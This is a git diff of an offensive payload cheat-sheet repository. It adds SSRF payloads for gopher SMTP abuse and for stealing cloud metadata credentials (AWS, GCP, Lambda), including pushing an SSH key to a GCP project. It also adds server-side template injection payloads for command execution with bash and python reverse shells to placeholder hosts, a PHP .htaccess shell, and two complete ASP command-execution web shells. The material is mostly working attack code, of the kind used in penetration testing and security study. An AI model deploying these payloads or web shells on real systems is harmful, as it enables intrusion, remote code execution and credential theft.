ssrf.php?url=ldap://localhost:11211/%0astats%0aquit ``` -Gopher +### Gopher ```powershell ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a @@ -247,7 +307,14 @@ You didn't say the magic word ! QUIT ``` -Gopher SMTP - Back connect to 1337 +#### Gopher HTTP + +```powershell +gopher://:8080/_GET http:///x HTTP/1.1%0A%0A +gopher://:8080/_POST%20http://:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body +``` + +#### Gopher SMTP - Back connect to 1337 ```php Content of evil.com/redirect.php: @@ -259,7 +326,7 @@ Now query it. https://example.com/?q=http://evil.com/redirect.php. ``` -Gopher SMTP - send a mail +#### Gopher SMTP - send a mail ```php Content of evil.com/redirect.php: @@ -280,7 +347,17 @@ Content of evil.com/redirect.php: ?> ``` -## SSRF to XSS by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158) +### Netdoc + +Wrapper for Java when your payloads struggle with "\n" and "\r" characters. + +```powershell +ssrf.php?url=gopher://127.0.0.1:4242/DATA +``` + +## SSRF to XSS + +by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158) ```bash http://brutelogic.com.br/poc.svg -> simple alert @@ -347,14 +424,59 @@ http://169.254.169.254/latest/meta-data/public-keys/ http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy +http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access +http://169.254.169.254/latest/dynamic/instance-identity/document ``` E.g: Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance` E.g2: Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/` +### SSRF URL for AWS ECS + +If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID. + +```powershell +curl http://169.254.170.2/v2/credentials/ +``` + +This way you'll extract IAM keys of the attached role + +### SSRF URL for AWS Elastic Beanstalk + +We retrieve the `accountId` and `region` from the API. + +```powershell +http://169.254.169.254/latest/dynamic/instance-identity/document +http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role +``` + +We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API. + +```powershell +http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role +``` + +![notsosecureblog-awskey](https://www.notsosecure.com/wp-content/uploads/2019/02/aws-cli.jpg) + +Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. + + +### SSRF URL for AWS Lambda + +AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment. + +```powershell +http://localhost:9001/2018-06-01/runtime/invocation/next +$ curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" +``` + +Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next + ### SSRF URL for Google Cloud +:warning: Google is shutting down support for usage of the **v1 metadata service** on January 15. + Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" ```powershell @@ -385,6 +507,37 @@ Interesting files to pull out: - Get Access Token : `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token` - Kubernetes Key : `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json` +#### Add an SSH key + +Extract the token + +```powershell +http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json +``` + +Check the scope of the token + +```powershell +$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA + +{ + "issued_to": "101302079XXXXX", + "audience": "10130207XXXXX", + "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", + "expires_in": 2443, + "access_type": "offline" +} +``` + +Now push the SSH key. + +```powershell +curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" +-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" +-H "Content-Type: application/json" +--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' +``` + ### SSRF URL for Digital Ocean Documentation available at `https://developers.digitalocean.com/documentation/metadata/` @@ -475,6 +628,11 @@ bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json ``` +More info: + +- Daemon socket option: https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option +- Docker Engine API: https://docs.docker.com/engine/api/latest/ + ### SSRF URL for Rancher ```powershell @@ -486,6 +644,7 @@ More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-se ## References +- [Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - 2017-12-13](https://hawkinsecurity.com/2017/12/13/extracting-aws-metadata-via-ssrf-in-google-acquisition/) - [ESEA Server-Side Request Forgery and Querying AWS Meta Data](http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/) by Brett Buerhaus - [SSRF and local file read in video to gif converter](https://hackerone.com/reports/115857) - [SSRF in https://imgur.com/vidgif/url](https://hackerone.com/reports/115748) @@ -507,4 +666,11 @@ More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-se - [Piercing the Veil: Server Side Request Forgery to NIPRNet access](https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a) - [Hacker101 SSRF](https://www.youtube.com/watch?v=66ni2BTIjS8) - [SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例](https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/) -- [SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 - SaN ThosH - 10 Jan 2019](https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978) \ No newline at end of file +- [SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 - SaN ThosH - 10 Jan 2019](https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978) +- [SSRF Protocol Smuggling in Plaintext Credential Handlers : LDAP - @0xrst](https://www.silentrobots.com/blog/2019/02/06/ssrf-protocol-smuggling-in-plaintext-credential-handlers-ldap/) +- [X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG @quanyang](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/) +- [Exploiting SSRF in AWS Elastic Beanstalk - February 1, 2019 - @notsosecure](https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/) +- [PortSwigger - Web Security Academy Server-side request forgery (SSRF)](https://portswigger.net/web-security/ssrf) +- [SVG SSRF Cheatsheet - Allan Wirth (@allanlw) - 12/06/2019](https://github.com/allanlw/svg-cheatsheet) +- [SSRF’s up! Real World Server-Side Request Forgery (SSRF) - shorebreaksecurity - 2019](https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/) +- [challenge 1: COME OUT, COME OUT, WHEREVER YOU ARE!](https://www.kieranclaessens.be/cscbe-web-2018.html) diff --git a/Server Side Template Injection/Files/SSRF_expect.svg b/Server Side Template Injection/Files/SSRF_expect.svg new file mode 100644 index 0000000000..bb5325709b --- /dev/null +++ b/Server Side Template Injection/Files/SSRF_expect.svg @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/Server Side Template Injection/Files/SSRF_url.svg b/Server Side Template Injection/Files/SSRF_url.svg new file mode 100644 index 0000000000..3252781856 --- /dev/null +++ b/Server Side Template Injection/Files/SSRF_url.svg @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/Server Side Template injections/Images/serverside.png b/Server Side Template Injection/Images/serverside.png similarity index 100% rename from Server Side Template injections/Images/serverside.png rename to Server Side Template Injection/Images/serverside.png diff --git a/Server Side Template injections/Intruder/JHADDIX_SSI_Injection.txt b/Server Side Template Injection/Intruder/JHADDIX_SSI_Injection.txt similarity index 100% rename from Server Side Template injections/Intruder/JHADDIX_SSI_Injection.txt rename to Server Side Template Injection/Intruder/JHADDIX_SSI_Injection.txt diff --git a/Server Side Template injections/Intruder/ssi_quick.txt b/Server Side Template Injection/Intruder/ssi_quick.txt similarity index 100% rename from Server Side Template injections/Intruder/ssi_quick.txt rename to Server Side Template Injection/Intruder/ssi_quick.txt diff --git a/Server Side Template injections/README.md b/Server Side Template Injection/README.md similarity index 78% rename from Server Side Template injections/README.md rename to Server Side Template Injection/README.md index 7cd6d5b611..d8101f9ea0 100644 --- a/Server Side Template injections/README.md +++ b/Server Side Template Injection/README.md @@ -7,7 +7,7 @@ * [Tools](#tools) * [Methodology](#methodology) * [Ruby](#ruby) - * [Basic injection](#basic-injection) + * [Basic injections](#basic-injections) * [Retrieve /etc/passwd](#retrieve--etc-passwd) * [List files and directories](#list-files-and-directories) * [Java](#java) @@ -20,6 +20,11 @@ * [Code execution](#code-execution) * [Smarty](#smarty) * [Freemarker](#freemarker) + * [Basic injection](#basic-injection) + * [Code execution](#code-execution) +* [Peeble](#peeble) + * [Basic injection](#basic-injection) + * [Code execution](#code-execution) * [Jade / Codepen](#jade---codepen) * [Velocity](#velocity) * [Mako](#mako) @@ -35,6 +40,7 @@ * [Jinjava](#jinjava) * [Basic injection](#basic-injection) * [Command execution](#command-execution) +* [References](#references) ## Tools @@ -49,16 +55,24 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment ## Methodology -![SSTI cheatsheet workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20injections/Images/serverside.png?raw=true) +![SSTI cheatsheet workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/serverside.png?raw=true) ## Ruby -### Basic injection +### Basic injections + +ERB: ```ruby <%= 7 * 7 %> ``` +Slim: + +```ruby +#{ 7 * 7 } +``` + ### Retrieve /etc/passwd ```ruby @@ -71,6 +85,14 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment <%= Dir.entries('/') %> ``` +### Code execution + +Execute code using SSTI for Slim engine. + +```powershell +#{ %x|env| } +``` + ## Java ### Basic injection @@ -137,11 +159,43 @@ $output = $twig > render ( ## Freemarker -Default functionality. +You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org) -```python -<#assign -ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} +### Basic injection + +The template can be `${3*3}` or the legacy `#{3*3}` + +### Code execution + +```js +<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} +[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} +${"freemarker.template.utility.Execute"?new()("id")} +``` + +## Pebble + +### Basic injection + +```java +{{ someString.toUPPERCASE() }} +``` + +### Code execution + +```java +{% set cmd = 'id' %} +{% set bytes = (1).TYPE + .forName('java.lang.Runtime') + .methods[6] + .invoke(null,null) + .exec(cmd) + .inputStream + .readAllBytes() %} +{{ (1).TYPE + .forName('java.lang.String') + .constructors[0] + .newInstance(([bytes]).toArray()) }} ``` ## Jade / Codepen @@ -179,13 +233,14 @@ ${x} ## Jinja2 [Official website](http://jinja.pocoo.org/) -> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed. +> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed. -### Basic injection +### Basic injection ```python {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 +{{config.items()}} ``` Jinja2 is used by Python Web Frameworks such as Django or Flask. @@ -227,6 +282,7 @@ The above injections have been tested on Flask application. ```python # ''.__class__.__mro__[2].__subclasses__()[40] = File class {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} +{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }} ``` ### Write into remote file @@ -243,14 +299,34 @@ Listen for connexion nv -lnvp 8000 ``` -Inject this template +#### Exploit the SSTI by calling subprocess.Popen. +:warning: the number 396 will vary depending of the application. ```python -{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config -{{ config.from_pyfile('/tmp/evilconfig.cfg') }} # load the evil config -{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host +{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} +{{config.__class__.__init__.__globals__['os'].popen('ls').read()}} ``` +#### Exploit the SSTI by calling Popen without guessing the offset + +```python +{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} +``` + +#### Exploit the SSTI by writing an evil config file. + +```python +# evil config +{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} + +# load the evil config +{{ config.from_pyfile('/tmp/evilconfig.cfg') }} + +# connect to evil host +{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }} +``` + + ### Filter bypass ```python @@ -324,4 +400,5 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230 * [RCE in Hubspot with EL injection in HubL - @fyoorer](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html?spref=tw) * [Jinja2 template injection filter bypasses - @gehaxelt, @0daywork](https://0day.work/jinja2-template-injection-filter-bypasses/) * [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9) -* [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf) \ No newline at end of file +* [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf) +* [Server Side Template Injection – on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/) diff --git a/Tar commands execution/Files/--checkpoint-action=exec=sh shell.sh b/Tar commands execution/Files/--checkpoint-action=exec=sh shell.sh deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/Tar commands execution/Files/--checkpoint=1 b/Tar commands execution/Files/--checkpoint=1 deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/Tar commands execution/Files/shell.sh b/Tar commands execution/Files/shell.sh deleted file mode 100644 index 8473b3014f..0000000000 --- a/Tar commands execution/Files/shell.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash -cat /passwd > /tmp/flag -chmod 777 /tmp/flag \ No newline at end of file diff --git a/Tar commands execution/README.md b/Tar commands execution/README.md deleted file mode 100644 index 5b408592f4..0000000000 --- a/Tar commands execution/README.md +++ /dev/null @@ -1,19 +0,0 @@ -# TAR Command Execution - -By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that’s where the wildcard comes in handy. - -## Exploit - -These files work against a "tar *" - -```powershell ---checkpoint=1 ---checkpoint-action=exec=sh shell.sh -shell.sh (your exploit code is here) -``` - -## References - -* [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/) -* [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/) -* [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt) \ No newline at end of file diff --git a/PHP juggling type/README.md b/Type Juggling/README.md similarity index 74% rename from PHP juggling type/README.md rename to Type Juggling/README.md index 2c7d7b1ba0..c51c805c99 100644 --- a/PHP juggling type/README.md +++ b/Type Juggling/README.md @@ -44,8 +44,11 @@ If the hash computed starts with "0e" (or "0..0e") only followed by numbers, PHP | Hash | “Magic” Number / String | Magic Hash | Found By | | ---- | -------------------------- |:---------------------------------------------:| -------------:| -| MD5 | 240610708 | 0e462097431906509019562988736854 | Michal Spacek | +| MD5 | 240610708 | 0e462097431906509019562988736854 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) | | SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 | Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham | +| SHA-224 | 10885164793773 | 0e281250946775200129471613219196999537878926740638594636 | [@TihanyiNorbert](https://twitter.com/TihanyiNorbert/status/1138075224010833921) | +| SHA-256 | 34250003024812 | 0e46289032038065916139621039085883773413820991920706299695051332 | [@TihanyiNorbert](https://twitter.com/TihanyiNorbert/status/1148586399207178241) | +| SHA-256 | TyNOQHUS | 0e66298694359207596086558843543959518835691168370379069085300385 | [@Chick3nman512](https://twitter.com/Chick3nman512/status/1150137800324526083) ```php +Order allow,deny +Allow from all + + +# Make .htaccess file be interpreted as php file. This occur after apache has interpreted +# the apache directoves from the .htaccess file +AddType application/x-httpd-php .htaccess +``` + +```php +###### SHELL ###### +&1"); ?> +``` + +# .htaccess upload as image + +If the `exif_imagetype` function is used on the server side to determine the image type, create a `.htaccess/image` polyglot. + +[Supported image types](http://php.net/manual/en/function.exif-imagetype.php#refsect1-function.exif-imagetype-constants) include [X BitMap (XBM)](https://en.wikipedia.org/wiki/X_BitMap) and [WBMP](https://en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format). In `.htaccess` ignoring lines starting with `\x00` and `#`, you can use these scripts for generate a valid `.htaccess/image` polyglot. + +```python +# create valid .htaccess/xbm image + +width = 50 +height = 50 +payload = '# .htaccess file' + +with open('.htaccess', 'w') as htaccess: + htaccess.write('#define test_width %d\n' % (width, )) + htaccess.write('#define test_height %d\n' % (height, )) + htaccess.write(payload) +``` +or +```python +# create valid .htaccess/wbmp image + +type_header = b'\x00' +fixed_header = b'\x00' +width = b'50' +height = b'50' +payload = b'# .htaccess file' + +with open('.htaccess', 'wb') as htaccess: + htaccess.write(type_header + fixed_header + width + height) + htaccess.write(b'\n') + htaccess.write(payload) +``` + +## Thanks to + +* [ATTACKING WEBSERVERS VIA .HTACCESS - By Eldar Marcussen](http://www.justanotherhacker.com/2011/05/htaccess-based-attacks.html) +* [Protection from Unrestricted File Upload Vulnerability](https://blog.qualys.com/securitylabs/2015/10/22/unrestricted-file-upload-vulnerability) +* [Writeup to l33t-hoster task, Insomnihack Teaser 2019](http://corb3nik.github.io/blog/insomnihack-teaser-2019/l33t-hoster) diff --git a/Upload insecure files/Busybox httpd.conf/README.md b/Upload Insecure Files/Configuration Busybox httpd.conf/README.md similarity index 100% rename from Upload insecure files/Busybox httpd.conf/README.md rename to Upload Insecure Files/Configuration Busybox httpd.conf/README.md diff --git a/Upload insecure files/Busybox httpd.conf/httpd.conf b/Upload Insecure Files/Configuration Busybox httpd.conf/httpd.conf similarity index 100% rename from Upload insecure files/Busybox httpd.conf/httpd.conf rename to Upload Insecure Files/Configuration Busybox httpd.conf/httpd.conf diff --git a/Upload insecure files/Busybox httpd.conf/shellymcshellface.sh b/Upload Insecure Files/Configuration Busybox httpd.conf/shellymcshellface.sh similarity index 100% rename from Upload insecure files/Busybox httpd.conf/shellymcshellface.sh rename to Upload Insecure Files/Configuration Busybox httpd.conf/shellymcshellface.sh diff --git a/Upload insecure files/IIS Web Config/web.config b/Upload Insecure Files/Configuration IIS web.config/web.config similarity index 98% rename from Upload insecure files/IIS Web Config/web.config rename to Upload Insecure Files/Configuration IIS web.config/web.config index 7036fdcc86..c14f37e58a 100644 --- a/Upload insecure files/IIS Web Config/web.config +++ b/Upload Insecure Files/Configuration IIS web.config/web.config @@ -2,7 +2,7 @@ - diff --git a/Upload insecure files/Python __init__.py/python-admin-__init__.py.zip b/Upload Insecure Files/Configuration Python __init__.py/python-admin-__init__.py.zip similarity index 100% rename from Upload insecure files/Python __init__.py/python-admin-__init__.py.zip rename to Upload Insecure Files/Configuration Python __init__.py/python-admin-__init__.py.zip diff --git a/Upload insecure files/Python __init__.py/python-conf-__init__.py.zip b/Upload Insecure Files/Configuration Python __init__.py/python-conf-__init__.py.zip similarity index 100% rename from Upload insecure files/Python __init__.py/python-conf-__init__.py.zip rename to Upload Insecure Files/Configuration Python __init__.py/python-conf-__init__.py.zip diff --git a/Upload insecure files/Python __init__.py/python-config-__init__.py.zip b/Upload Insecure Files/Configuration Python __init__.py/python-config-__init__.py.zip similarity index 100% rename from Upload insecure files/Python __init__.py/python-config-__init__.py.zip rename to Upload Insecure Files/Configuration Python __init__.py/python-config-__init__.py.zip diff --git a/Upload insecure files/Python __init__.py/python-controllers-__init__.py.zip b/Upload Insecure Files/Configuration Python __init__.py/python-controllers-__init__.py.zip similarity index 100% rename from Upload insecure files/Python __init__.py/python-controllers-__init__.py.zip rename to Upload Insecure Files/Configuration Python __init__.py/python-controllers-__init__.py.zip diff --git a/Upload insecure files/Python __init__.py/python-generate-init.py b/Upload Insecure Files/Configuration Python __init__.py/python-generate-init.py similarity index 100% rename from Upload insecure files/Python __init__.py/python-generate-init.py rename to Upload Insecure Files/Configuration Python __init__.py/python-generate-init.py diff --git a/Upload insecure files/Python __init__.py/python-login-__init__.py.zip b/Upload Insecure Files/Configuration Python __init__.py/python-login-__init__.py.zip similarity index 100% rename from Upload insecure files/Python __init__.py/python-login-__init__.py.zip rename to Upload Insecure Files/Configuration Python __init__.py/python-login-__init__.py.zip diff --git a/Upload insecure files/Python __init__.py/python-models-__init__.py.zip b/Upload Insecure Files/Configuration Python __init__.py/python-models-__init__.py.zip similarity index 100% rename from Upload insecure files/Python __init__.py/python-models-__init__.py.zip rename to Upload Insecure Files/Configuration Python __init__.py/python-models-__init__.py.zip diff --git a/Upload insecure files/Python __init__.py/python-modules-__init__.py.zip b/Upload Insecure Files/Configuration Python __init__.py/python-modules-__init__.py.zip similarity index 100% rename from Upload insecure files/Python __init__.py/python-modules-__init__.py.zip rename to Upload Insecure Files/Configuration Python __init__.py/python-modules-__init__.py.zip diff --git a/Upload insecure files/Python __init__.py/python-scripts-__init__.py.zip b/Upload Insecure Files/Configuration Python __init__.py/python-scripts-__init__.py.zip similarity index 100% rename from Upload insecure files/Python __init__.py/python-scripts-__init__.py.zip rename to Upload Insecure Files/Configuration Python __init__.py/python-scripts-__init__.py.zip diff --git a/Upload insecure files/Python __init__.py/python-settings-__init__.py.zip b/Upload Insecure Files/Configuration Python __init__.py/python-settings-__init__.py.zip similarity index 100% rename from Upload insecure files/Python __init__.py/python-settings-__init__.py.zip rename to Upload Insecure Files/Configuration Python __init__.py/python-settings-__init__.py.zip diff --git a/Upload insecure files/Python __init__.py/python-tests-__init__.py.zip b/Upload Insecure Files/Configuration Python __init__.py/python-tests-__init__.py.zip similarity index 100% rename from Upload insecure files/Python __init__.py/python-tests-__init__.py.zip rename to Upload Insecure Files/Configuration Python __init__.py/python-tests-__init__.py.zip diff --git a/Upload insecure files/Python __init__.py/python-urls-__init__.py.zip b/Upload Insecure Files/Configuration Python __init__.py/python-urls-__init__.py.zip similarity index 100% rename from Upload insecure files/Python __init__.py/python-urls-__init__.py.zip rename to Upload Insecure Files/Configuration Python __init__.py/python-urls-__init__.py.zip diff --git a/Upload insecure files/Python __init__.py/python-utils-__init__.py.zip b/Upload Insecure Files/Configuration Python __init__.py/python-utils-__init__.py.zip similarity index 100% rename from Upload insecure files/Python __init__.py/python-utils-__init__.py.zip rename to Upload Insecure Files/Configuration Python __init__.py/python-utils-__init__.py.zip diff --git a/Upload insecure files/Python __init__.py/python-view-__init__.py.zip b/Upload Insecure Files/Configuration Python __init__.py/python-view-__init__.py.zip similarity index 100% rename from Upload insecure files/Python __init__.py/python-view-__init__.py.zip rename to Upload Insecure Files/Configuration Python __init__.py/python-view-__init__.py.zip diff --git a/Upload insecure files/Eicar/eicar.com.txt b/Upload Insecure Files/EICAR/eicar.txt similarity index 92% rename from Upload insecure files/Eicar/eicar.com.txt rename to Upload Insecure Files/EICAR/eicar.txt index a2463df6d6..704cac859b 100644 --- a/Upload insecure files/Eicar/eicar.com.txt +++ b/Upload Insecure Files/EICAR/eicar.txt @@ -1 +1 @@ -X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* \ No newline at end of file +X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* diff --git a/Upload Insecure Files/Extension ASP/shell.asa b/Upload Insecure Files/Extension ASP/shell.asa new file mode 100644 index 0000000000..b2caf599f2 --- /dev/null +++ b/Upload Insecure Files/Extension ASP/shell.asa @@ -0,0 +1,83 @@ +<% +' ******************************************************************************* +' *** +' *** Laudanum Project +' *** A Collection of Injectable Files used during a Penetration Test +' *** +' *** More information is available at: +' *** http://laudanum.secureideas.net +' *** laudanum@secureideas.net +' *** +' *** Project Leads: +' *** Kevin Johnson +' *** +' *** Copyright 2012 by Kevin Johnson and the Laudanum Team +' *** +' ******************************************************************************** +' *** +' *** Updated and fixed by Robin Wood +' *** Updated and fixed by Tim Medin "1.2.3.4" then + response.Status="404 Page Not Found" + response.Write(response.Status) + response.End +end if + +if Request.Form("submit") <> "" then + Dim wshell, intReturn, strPResult + cmd = Request.Form("cmd") + Response.Write ("Running command: " & cmd & "
") + set wshell = CreateObject("WScript.Shell") + Set objCmd = wShell.Exec(cmd) + strPResult = objCmd.StdOut.Readall() + + response.write "
" & replace(replace(strPResult,"<","<"),vbCrLf,"
") & "
" + + set wshell = nothing +end if + +%> + +Laundanum ASP Shell + + +Command:
+ +

Don't forget that if you want to shell command (not a specific executable) you need to call cmd.exe. It is usually located at C:\Windows\System32\cmd.exe, but to be safe just call %ComSpec%. Also, don't forget to use the /c switch so cmd.exe terminates when your command is done. +

Example command to do a directory listing:
+%ComSpec% /c dir +

+
+
+Copyright © 2012, Kevin Johnson and the Laudanum team.
+Written by Tim Medin.
+Get the latest version at laudanum.secureideas.net. +
+ + \ No newline at end of file diff --git a/Upload Insecure Files/Extension ASP/shell.asmx b/Upload Insecure Files/Extension ASP/shell.asmx new file mode 100644 index 0000000000..b2caf599f2 --- /dev/null +++ b/Upload Insecure Files/Extension ASP/shell.asmx @@ -0,0 +1,83 @@ +<% +' ******************************************************************************* +' *** +' *** Laudanum Project +' *** A Collection of Injectable Files used during a Penetration Test +' *** +' *** More information is available at: +' *** http://laudanum.secureideas.net +' *** laudanum@secureideas.net +' *** +' *** Project Leads: +' *** Kevin Johnson +' *** +' *** Copyright 2012 by Kevin Johnson and the Laudanum Team +' *** +' ******************************************************************************** +' *** +' *** Updated and fixed by Robin Wood +' *** Updated and fixed by Tim Medin "1.2.3.4" then + response.Status="404 Page Not Found" + response.Write(response.Status) + response.End +end if + +if Request.Form("submit") <> "" then + Dim wshell, intReturn, strPResult + cmd = Request.Form("cmd") + Response.Write ("Running command: " & cmd & "
") + set wshell = CreateObject("WScript.Shell") + Set objCmd = wShell.Exec(cmd) + strPResult = objCmd.StdOut.Readall() + + response.write "
" & replace(replace(strPResult,"<","<"),vbCrLf,"
") & "
" + + set wshell = nothing +end if + +%> + +Laundanum ASP Shell + +
+Command:
+ +

Don't forget that if you want to shell command (not a specific executable) you need to call cmd.exe. It is usually located at C:\Windows\System32\cmd.exe, but to be safe just call %ComSpec%. Also, don't forget to use the /c switch so cmd.exe terminates when your command is done. +

Example command to do a directory listing:
+%ComSpec% /c dir +

+
+
+Copyright © 2012, Kevin Johnson and the Laudanum team.
+Written by Tim Medin.
+Get the latest version at laudanum.secureideas.net. +
